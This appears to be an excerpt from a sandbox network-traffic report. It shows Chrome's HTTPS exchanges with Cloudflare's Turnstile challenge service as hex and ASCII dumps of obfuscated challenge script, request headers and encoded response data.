2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 Data Ascii: valid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 67 62 2c 67 6d 2c 67 71 2c 67 78 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 33 34 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 34 39 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 34 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 36 30 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 37 37 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 37 35 36 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 36 31 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: gb,gm,gq,gx,gB,gC,gG,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1434))/1+-parseInt(gI(649))/2+-parseInt(gI(434))/3(-parseInt(gI(1360))/4)+-parseInt(gI(1077))/5(parseInt(gI(756))/6)+parseInt(gI(1661))/7+parseInt(gI
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 27 59 6c 49 72 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 68 75 68 54 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 27 58 59 55 69 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 67 6d 6a 65 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 71 4f 42 54 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4f 66 4d 69 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6d 6c 50 63 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 6b 55 4e 47 56 27 3a 66 75 6e 63 74 Data Ascii: 'YlIrv':function(h,i){return h+i},'huhTK':function(h,i){return h!==i},'XYUiM':function(h,i){return h>i},'gmjea':function(h,i){return h\|i},'qOBTD':function(h,i){return h<<i},'OfMiq':function(h,i){return h(i)},'mlPcR':function(h,i){return h\|i},'kUNGV':funct
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 61 46 65 4b 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 71 41 4d 54 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6b 52 61 73 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 4e 6c 5a 7a 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 78 77 62 46 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 71 6a 55 6e 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 61 65 78 6c 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 Data Ascii: b':function(h,i){return i&h},'aFeKO':function(h,i){return h(i)},'qAMTU':function(h,i){return h(i)},'kRasT':function(h,i){return h!=i},'NlZzK':function(h,i){return i==h},'xwbFI':function(h,i){return h<i},'qjUnY':function(h,i){return i*h},'aexlh':function(h
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 68 47 28 31 33 39 34 29 5d 5b 68 47 28 32 33 33 29 5d 5b 68 47 28 31 31 38 32 29 5d 28 43 2c 44 29 29 7b 69 66 28 68 47 28 33 37 30 29 3d 3d 3d 68 47 28 39 39 36 29 29 51 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 39 2e 34 34 5d 2c 52 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 39 5d 5b 33 5d 5e 73 5b 68 47 28 31 35 31 35 29 5d 28 38 32 2b 74 68 69 73 2e 68 5b 73 5b 68 47 28 31 30 31 33 29 5d 28 31 39 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 68 47 28 31 32 31 31 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 39 2e 34 5d 5b 30 5d 2b 2b 29 2c 32 35 35 29 5e 31 30 30 2c 52 3d 74 68 69 73 2e 68 5b 52 5e 74 68 69 73 2e 67 5d 2c 53 3d 28 74 68 69 73 2e 68 5b 73 5b 68 47 28 31 32 37 30 29 5d 28 31 39 2c 74 Data Ascii: lse{if(Object[hG(1394)][hG(233)][hG(1182)](C,D)){if(hG(370)===hG(996))Q=this.h[this.g^19.44],R=this.h[this.g^19][3]^s[hG(1515)](82+this.h[s[hG(1013)](19,this.g)][1][hG(1211)](this.h[this.g^19.4][0]++),255)^100,R=this.h[R^this.g],S=(this.h[s[hG(1270)](19,t
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 64 65 6c 65 74 65 20 43 5b 44 5d 7d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 68 47 28 33 30 32 29 5d 28 49 3c 3c 31 2e 39 32 2c 31 26 4e 29 2c 64 5b 68 47 28 31 34 38 35 29 5d 28 4a 2c 64 5b 68 47 28 31 34 38 37 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 68 47 28 31 34 30 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 44 3d 28 45 2d 2d 2c 64 5b 68 47 28 31 33 35 33 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 68 47 28 31 33 32 33 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 64 5b 68 47 28 31 35 38 33 29 5d 28 53 74 72 69 6e 67 2c 4c 29 29 7d 69 66 28 44 21 3d 3d 27 27 29 7b 69 66 28 4f 62 6a 65 63 74 5b 68 47 28 31 33 39 34 29 5d 5b 68 Data Ascii: delete C[D]}}else for(N=B[D],x=0;x<G;I=d[hG(302)](I<<1.92,1&N),d[hG(1485)](J,d[hG(1487)](j,1))?(J=0,H[hG(1401)](o(I)),I=0):J++,N>>=1,x++);D=(E--,d[hG(1353)](0,E)&&(E=Math[hG(1323)](2,G),G++),B[M]=F++,d[hG(1583)](String,L))}if(D!==''){if(Object[hG(1394)][h
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 6f 6e 28 6a 2c 68 4b 2c 6b 29 7b 69 66 28 68 4b 3d 68 49 2c 6b 3d 7b 27 46 4e 43 46 56 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 68 4a 29 7b 72 65 74 75 72 6e 20 68 4a 3d 62 2c 64 5b 68 4a 28 31 32 34 31 29 5d 28 6c 29 7d 7d 2c 64 5b 68 4b 28 35 31 35 29 5d 28 64 5b 68 4b 28 31 34 30 30 29 5d 2c 68 4b 28 34 30 36 29 29 29 72 65 74 75 72 6e 20 68 5b 68 4b 28 31 32 31 31 29 5d 28 6a 29 3b 65 6c 73 65 20 66 3d 69 5b 68 4b 28 38 35 38 29 5d 28 6a 2c 66 75 6e 63 74 69 6f 6e 28 68 4c 29 7b 68 4c 3d 68 4b 2c 6b 5b 68 4c 28 31 33 32 31 29 5d 28 69 29 7d 2c 31 65 33 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 4d 2c 73 2c 50 2c 51 2c 52 2c 53 2c 54 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4e 2c 4d 29 7b Data Ascii: on(j,hK,k){if(hK=hI,k={'FNCFV':function(l,hJ){return hJ=b,d[hJ(1241)](l)}},d[hK(515)](d[hK(1400)],hK(406)))return h[hK(1211)](j);else f=i[hK(858)](j,function(hL){hL=hK,k[hL(1321)](i)},1e3)})},'i':function(i,j,o,hM,s,P,Q,R,S,T,x,B,C,D,E,F,G,H,I,J,K,L,N,M){
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 47 2c 4c 29 3b 4d 3d 64 5b 68 4d 28 31 33 36 39 29 5d 28 48 2c 49 29 2c 49 3e 3e 3d 31 2c 64 5b 68 4d 28 31 34 38 35 29 5d 28 30 2c 49 29 26 26 28 49 3d 6a 2c 48 3d 64 5b 68 4d 28 36 31 34 29 5d 28 6f 2c 4a 2b 2b 29 29 2c 4b 7c 3d 47 2a 28 30 3c 4d 3f 31 3a 30 29 2c 47 3c 3c 3d 31 29 3b 4e 3d 65 28 4b 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 68 4d 28 31 33 32 33 29 5d 28 32 2c 31 36 29 2c 47 3d 31 3b 47 21 3d 4c 3b 4d 3d 48 26 49 2c 49 3e 3e 3d 31 2c 30 3d 3d 49 26 26 28 49 3d 6a 2c 48 3d 64 5b 68 4d 28 31 30 33 32 29 5d 28 6f 2c 4a 2b 2b 29 29 2c 4b 7c 3d 28 64 5b 68 4d 28 38 36 39 29 5d 28 30 2c 4d 29 3f 31 3a 30 29 2a 47 2c 47 3c 3c 3d 31 29 3b 4e 3d 64 5b 68 4d 28 35 31 38 29 5d 28 65 2c 4b 29 3b 62 72 Data Ascii: G,L);M=d[hM(1369)](H,I),I>>=1,d[hM(1485)](0,I)&&(I=j,H=d[hM(614)](o,J++)),K\|=G(0<M?1:0),G<<=1);N=e(K);break;case 1:for(K=0,L=Math[hM(1323)](2,16),G=1;G!=L;M=H&I,I>>=1,0==I&&(I=j,H=d[hM(1032)](o,J++)),K\|=(d[hM(869)](0,M)?1:0)G,G<<=1);N=d[hM(518)](e,K);br
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 38 39 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 52 2c 68 2c 6a 29 7b 69 66 28 68 52 3d 68 50 2c 68 3d 7b 27 51 64 65 4f 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 68 51 29 7b 72 65 74 75 72 6e 20 68 51 3d 62 2c 65 5b 68 51 28 38 31 33 29 5d 28 69 2c 6a 29 7d 2c 27 48 55 43 4b 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 6a 3d 3d 3d 69 7d 2c 27 78 76 55 7a 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29 7b 72 65 74 75 72 6e 20 6a 5e 69 7d 7d 2c 68 52 28 31 30 32 35 29 21 3d 3d 68 52 28 31 30 32 31 29 29 65 4d 5b 68 52 28 37 32 38 29 5d 26 26 28 65 4d 5b 68 52 28 39 32 30 29 5d 5b 68 52 28 31 34 32 39 29 5d 28 29 2c 65 4d 5b 68 52 28 39 32 30 29 5d 5b 68 52 28 38 37 33 29 5d 28 29 2c 65 4d 5b 68 52 28 37 37 30 29 5d 3d 21 21 Data Ascii: 898)](function(hR,h,j){if(hR=hP,h={'QdeOM':function(i,j,hQ){return hQ=b,e[hQ(813)](i,j)},'HUCKL':function(i,j){return j===i},'xvUzz':function(i,j){return j^i}},hR(1025)!==hR(1021))eM[hR(728)]&&(eM[hR(920)][hR(1429)](),eM[hR(920)][hR(873)](),eM[hR(770)]=!!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.17	49779	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:25 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3275 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:25 UTC	3275	OUT	Data Raw: 76 5f 38 65 66 36 63 61 38 66 38 65 62 35 34 32 62 32 3d 43 6b 76 41 38 41 79 41 67 41 31 41 68 41 45 71 33 51 71 33 63 6c 41 25 32 62 4a 42 56 61 4d 4a 4e 4c 39 33 50 4f 33 38 6a 41 55 69 33 49 41 61 6b 33 72 33 37 4e 4f 33 4d 44 36 41 38 4f 33 5a 41 4d 4b 75 63 33 62 4e 41 33 4d 31 2b 33 79 48 63 33 61 6a 55 48 56 4f 65 41 36 33 35 43 33 79 52 36 69 6a 63 4a 55 5a 4e 33 2d 69 2b 62 49 41 55 4a 70 4c 33 7a 71 4d 7a 46 33 38 6a 4e 72 33 7a 78 70 76 33 51 38 48 63 4f 57 78 35 6b 4d 2b 44 73 6a 6a 48 72 43 2b 2d 72 4e 6a 33 7a 31 5a 31 31 33 4e 53 47 58 78 66 52 6a 6a 49 4c 7a 41 49 66 4c 52 31 33 62 70 65 46 4e 6a 55 79 2d 42 33 33 76 6a 51 55 33 71 31 64 79 6a 33 78 37 55 46 6b 33 4e 36 5a 33 33 36 33 4d 6a 55 2d 34 52 61 5a 54 41 33 37 33 61 61 33 66 6a Data Ascii: v_8ef6ca8f8eb542b2=CkvA8AyAgA1AhAEq3Qq3clA%2bJBVaMJNL93PO38jAUi3IAak3r37NO3MD6A8O3ZAMKuc3bNA3M1+3yHc3ajUHVOeA635C3yR6ijcJUZN3-i+bIAUJpL3zqMzF38jNr3zxpv3Q8HcOWx5kM+DsjjHrC+-rNj3z1Z113NSGXxfRjjILzAIfLR13bpeFNjUy-B33vjQU3q1dyj3x7UFk3N6Z3363MjU-4RaZTA373aa3fj
2024-12-09 17:42:25 UTC	767	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:25 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 160008 Connection: close cf-chl-gen: SwJ+IReGGmcY2OXh6nbmtLsdu+CbMDVDZOaKVyRT2x5aX0In9fyp6x+kR3TT87EkdDph7NYe6nUt3ujDKmbdE478GUh4H9Dx/8mTjZ/rfqoP5H1jiYque0Y28H/RuJfr6rLGrDE9wVyU/N8UJ11KhaH39dQDOEYIhQcLGC6A17fWd1DXhKdCKT+zuuNzjOp2hcRp88WljvZEB59oF4Vg5gem/Ap+0kQ2jroT+kKcPbvv0BECR2hvKhB9Y/z5XALe1KJqU/mJNqfyGODLb8CqISXQk9E3OgWb8ZWpgIkkht4arQGcx77WQTuNMSRRIyQQkgAe5eZK1PH2YgnEoj/d3j7TI+QahWCW40szp1xrX9YJSSNQZjtDqQL+QYOYlI1gnQpYsQ+05b5R+rakxt0KrozZ8q5eQgdsesLx2ylMZvlv/ujTcNyazwuLm9ga2/43jurOEBA2Gifu25XeOhQ6pEELfqazLTXPKKCIpCVr38/J0/aNebmpQd8rBPNSa8di1g==$Y4vJwnRA1ADhLr+X Server: cloudflare CF-RAY: 8ef6caa8aa3443f3-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:25 UTC	602	IN	Data Raw: 6a 34 53 34 72 70 47 7a 6e 70 79 68 6a 33 37 42 70 38 61 38 6c 5a 6e 4e 71 59 57 68 77 61 57 37 30 73 76 43 78 4e 4c 55 74 35 65 61 72 39 62 58 30 4f 47 32 7a 37 43 62 72 64 75 35 36 4d 57 34 79 2b 58 73 72 4b 2f 6e 72 2b 36 71 37 74 54 48 78 65 48 50 75 75 36 36 73 38 6d 38 73 75 72 32 2b 39 33 58 76 41 50 65 39 64 6e 36 37 41 62 5a 41 41 66 6e 32 67 50 51 37 67 54 34 46 78 54 4d 34 2f 62 55 46 2b 66 36 32 4e 33 34 37 50 45 6d 39 2f 45 72 2b 69 44 72 4a 76 72 6d 48 65 38 4c 4d 54 44 79 49 51 45 56 43 6a 6f 62 42 69 67 53 43 77 6b 73 46 67 34 30 46 66 30 6e 52 44 38 7a 4c 54 78 44 4b 6b 39 50 55 53 74 43 51 30 55 58 54 79 77 78 54 55 38 63 4c 42 64 61 4d 78 74 6a 58 69 4d 77 4e 32 45 37 5a 6c 70 44 4e 56 64 41 59 57 4e 47 59 47 74 72 58 30 73 76 56 33 4a Data Ascii: j4S4rpGznpyhj37Bp8a8lZnNqYWhwaW70svCxNLUt5ear9bX0OG2z7Cbrdu56MW4y+XsrK/nr+6q7tTHxeHPuu66s8m8sur2+93XvAPe9dn67AbZAAfn2gPQ7gT4FxTM4/bUF+f62N347PEm9/Er+iDrJvrmHe8LMTDyIQEVCjobBigSCwksFg40Ff0nRD8zLTxDKk9PUStCQ0UXTywxTU8cLBdaMxtjXiMwN2E7ZlpDNVdAYWNGYGtrX0svV3J
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 6c 73 55 48 36 45 62 57 4f 47 51 33 74 39 63 32 4f 4e 69 49 75 43 63 6c 79 42 63 49 46 4e 59 32 5a 74 64 5a 57 50 68 35 78 32 58 57 6c 37 65 35 56 62 70 49 64 31 65 59 4f 55 70 49 57 4b 73 47 75 63 6f 70 53 55 6b 6e 61 53 67 61 79 36 71 35 6c 38 76 59 36 59 73 35 4b 6b 6b 6f 53 4f 6e 35 43 48 6d 4c 53 38 68 61 71 58 78 6f 6d 61 73 36 48 4f 6a 37 47 72 30 39 72 55 6e 4e 4c 4d 76 72 50 50 76 37 61 6b 76 38 36 66 30 61 53 69 32 4d 66 46 71 38 7a 4e 37 4f 50 55 72 73 33 4f 30 37 58 79 38 4e 76 6f 75 4f 66 53 76 2b 44 55 34 75 2f 65 31 74 6e 52 78 2b 58 62 31 63 67 47 37 64 41 4e 35 50 73 53 45 50 34 50 79 67 55 44 30 74 66 56 37 42 59 51 37 41 76 67 35 4f 58 65 39 2b 51 55 4a 68 54 6b 47 77 67 6e 4d 41 76 79 38 41 6f 71 4a 51 6f 4b 4c 78 4d 64 43 69 6b 35 4f Data Ascii: lsUH6EbWOGQ3t9c2ONiIuCclyBcIFNY2ZtdZWPh5x2XWl7e5VbpId1eYOUpIWKsGucopSUknaSgay6q5l8vY6Ys5KkkoSOn5CHmLS8haqXxomas6HOj7Gr09rUnNLMvrPPv7akv86f0aSi2MfFq8zN7OPUrs3O07Xy8NvouOfSv+DU4u/e1tnRx+Xb1cgG7dAN5PsSEP4PygUD0tfV7BYQ7Avg5OXe9+QUJhTkGwgnMAvy8AoqJQoKLxMdCik5O
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 30 56 31 47 41 58 57 74 2f 59 58 78 61 67 58 31 4e 6c 4a 52 4d 61 5a 4e 54 63 35 74 30 61 4a 57 48 66 6e 46 35 59 46 5a 6a 6a 35 71 59 5a 70 4f 69 6f 4b 53 50 69 36 68 73 6e 48 79 77 6f 70 36 4c 6b 6d 75 55 6d 59 2b 75 6a 35 2b 56 65 62 35 35 77 4b 36 58 6d 49 52 2f 6c 5a 32 65 74 5a 79 36 6a 4c 76 48 77 38 61 76 73 70 44 4a 73 37 61 57 6a 74 48 48 74 4c 58 5a 79 72 7a 45 34 4b 4c 5a 6f 71 47 6f 34 37 62 4e 70 36 2f 76 34 75 72 6b 73 62 33 32 31 76 48 4b 7a 62 65 34 30 2f 62 35 79 63 45 45 33 51 44 59 37 37 33 6a 35 75 62 2b 33 67 6f 4b 44 77 4c 75 44 2b 6a 75 35 74 44 69 7a 75 48 51 30 68 66 35 33 74 76 33 44 67 30 65 38 41 45 68 4a 42 48 32 36 52 33 33 4c 66 67 52 41 41 38 6a 43 54 45 4b 4f 42 67 6a 38 6a 67 52 4b 43 6e 34 46 6a 76 35 2f 53 30 31 42 76 Data Ascii: 0V1GAXWt/YXxagX1NlJRMaZNTc5t0aJWHfnF5YFZjj5qYZpOioKSPi6hsnHywop6LkmuUmY+uj5+Veb55wK6XmIR/lZ2etZy6jLvHw8avspDJs7aWjtHHtLXZyrzE4KLZoqGo47bNp6/v4urksb321vHKzbe40/b5ycEE3QDY773j5ub+3goKDwLuD+ju5tDizuHQ0hf53tv3Dg0e8AEhJBH26R33LfgRAA8jCTEKOBgj8jgRKCn4Fjv5/S01Bv
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 68 32 31 5a 58 34 64 67 58 6b 2b 4d 55 49 4e 68 6b 49 39 58 5a 70 42 38 69 61 47 59 63 59 39 78 57 49 4b 55 69 70 4e 70 6f 57 6d 6e 69 49 4a 35 6b 6f 31 30 72 37 64 75 61 72 71 71 6c 36 32 4d 71 62 43 63 75 59 35 2f 6c 59 35 34 6f 73 43 56 78 37 4f 64 76 4c 75 47 79 62 37 42 71 5a 4c 44 70 35 43 30 74 61 4b 6a 74 4b 65 78 32 37 54 53 7a 35 76 62 74 4d 58 45 34 63 62 65 78 35 37 45 75 71 2f 4f 38 72 4b 70 79 4d 44 70 36 2f 6e 49 31 75 6a 53 73 2b 73 41 2b 66 50 72 77 4f 54 59 7a 2f 34 44 38 75 76 4c 31 63 72 4a 43 39 7a 61 45 2f 7a 63 33 66 50 6f 34 65 58 76 39 65 59 4e 45 66 73 50 44 53 4c 76 2b 66 6e 75 41 51 45 57 49 50 7a 36 48 79 77 66 4d 65 77 4b 45 44 51 6e 46 77 51 4d 4b 66 72 78 43 77 73 59 47 79 38 74 4a 43 51 6d 2b 30 41 47 52 45 63 2f 48 30 52 Data Ascii: h21ZX4dgXk+MUINhkI9XZpB8iaGYcY9xWIKUipNpoWmniIJ5ko10r7duarqql62MqbCcuY5/lY54osCVx7OdvLuGyb7BqZLDp5C0taKjtKex27TSz5vbtMXE4cbex57Euq/O8rKpyMDp6/nI1ujSs+sA+fPrwOTYz/4D8uvL1crJC9zaE/zc3fPo4eXv9eYNEfsPDSLv+fnuAQEWIPz6HywfMewKEDQnFwQMKfrxCwsYGy8tJCQm+0AGREc/H0R
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 46 39 66 67 33 5a 78 61 5a 70 56 69 48 6d 62 56 35 79 62 67 31 70 37 58 59 57 6c 6e 48 61 65 69 35 65 4c 6d 35 43 44 67 6f 4f 45 67 33 2b 6a 69 35 4b 35 73 48 79 30 72 62 36 4e 6f 6f 4b 76 74 58 79 41 79 4d 69 49 66 4b 61 45 6a 4a 65 67 72 4d 36 6e 78 71 47 4f 74 61 69 79 70 64 47 73 78 39 50 4e 6d 4a 33 65 71 36 4c 51 76 2b 53 38 30 74 57 34 35 75 79 6d 78 76 43 75 75 73 4c 69 78 50 4c 43 78 75 4c 35 31 63 58 45 72 2f 54 4d 38 75 38 41 33 74 37 52 42 50 6e 2b 2f 41 44 6f 33 38 59 41 32 2b 55 49 79 4f 34 52 41 66 54 54 39 2f 59 52 39 41 55 59 2b 66 6a 72 31 78 44 36 32 78 62 30 35 79 44 6c 4b 65 59 74 44 2f 73 69 35 69 34 67 4c 43 30 4d 43 67 6f 72 4d 44 72 31 4d 43 6f 67 50 68 45 79 51 43 4d 69 4a 7a 4d 34 49 6b 63 62 4e 45 4e 47 44 45 52 4d 53 52 45 68 Data Ascii: F9fg3ZxaZpViHmbV5ybg1p7XYWlnHaei5eLm5CDgoOEg3+ji5K5sHy0rb6NooKvtXyAyMiIfKaEjJegrM6nxqGOtaiypdGsx9PNmJ3eq6LQv+S80tW45uymxvCuusLixPLCxuL51cXEr/TM8u8A3t7RBPn+/ADo38YA2+UIyO4RAfTT9/YR9AUY+fjr1xD62xb05yDlKeYtD/si5i4gLC0MCgorMDr1MCogPhEyQCMiJzM4IkcbNENGDERMSREh
2024-12-09 17:42:25 UTC	1369	IN	Data Raw: 74 6e 6e 58 4f 4b 63 6e 46 75 66 4a 56 63 5a 57 52 69 5a 49 70 35 69 35 32 41 6e 34 4f 69 62 70 2b 4a 70 48 47 6c 68 58 4f 32 63 62 32 62 71 48 61 2b 6e 71 35 2b 76 34 43 52 70 36 62 45 77 4b 53 37 79 4d 36 38 6d 64 47 6d 76 4b 47 6c 6b 73 4f 51 78 4c 69 57 6e 4a 6a 4b 73 72 72 4b 76 63 4f 33 32 62 37 64 6f 39 6a 48 70 37 61 73 77 63 33 70 78 73 6a 77 7a 71 79 73 72 65 76 51 38 37 48 34 38 76 48 59 32 2f 72 65 35 4e 41 43 30 62 37 45 2f 4d 4c 44 39 4d 6a 38 37 38 6f 41 38 51 30 4e 2f 67 50 52 43 4e 54 53 38 78 49 49 48 66 76 36 31 2f 73 4f 41 66 62 63 34 76 6a 66 41 68 76 33 4c 44 41 69 37 43 49 75 37 44 59 31 39 51 77 76 42 50 6f 6b 43 42 67 37 4e 7a 4c 39 44 55 41 31 51 6b 51 59 50 78 67 38 4a 6b 68 46 42 55 41 63 55 6b 77 79 44 45 30 56 4d 6c 70 56 4f Data Ascii: tnnXOKcnFufJVcZWRiZIp5i52An4Oibp+JpHGlhXO2cb2bqHa+nq5+v4CRp6bEwKS7yM68mdGmvKGlksOQxLiWnJjKsrrKvcO32b7do9jHp7aswc3pxsjwzqysrevQ87H48vHY2/re5NAC0b7E/MLD9Mj878oA8Q0N/gPRCNTS8xIIHfv61/sOAfbc4vjfAhv3LDAi7CIu7DY19QwvBPokCBg7NzL9DUA1QkQYPxg8JkhFBUAcUkwyDE0VMlpVO
